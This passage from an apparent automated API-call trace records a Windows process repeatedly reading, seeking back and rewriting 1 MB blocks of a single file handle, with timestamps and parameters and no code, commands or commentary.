nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.635] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.660] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.660] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.663] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.697] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.697] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.700] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.769] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.769] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.772] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.801] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.801] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.804] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0064.891] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.891] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0064.897] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.306] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.306] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.309] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.355] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.355] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.358] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.419] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.419] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.439] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.453] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.453] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.456] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.492] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.492] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.495] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.527] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.527] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.531] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.582] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.582] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.585] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.617] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.617] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.620] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.635] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.635] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.639] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.661] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.661] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.664] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.684] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.684] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.687] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.769] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.769] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.772] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.931] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.931] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.933] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0065.943] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.943] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0065.945] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0066.761] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.761] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0066.764] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0066.780] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.780] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0066.782] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0067.530] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.530] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0067.532] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0067.549] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.549] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0067.551] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0067.991] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.991] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0067.993] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.009] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.009] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.011] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.317] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.317] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.319] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.335] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.335] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.338] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.495] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.495] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.497] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.516] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.518] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.556] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.556] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.561] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.578] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.615] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.615] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.618] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.635] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.635] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.637] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.675] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.712] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.715] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.783] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.783] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.786] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.826] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.826] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.828] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.844] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.844] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.847] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.891] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.894] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.921] SetFilePointerEx (in: hFile=0x308, 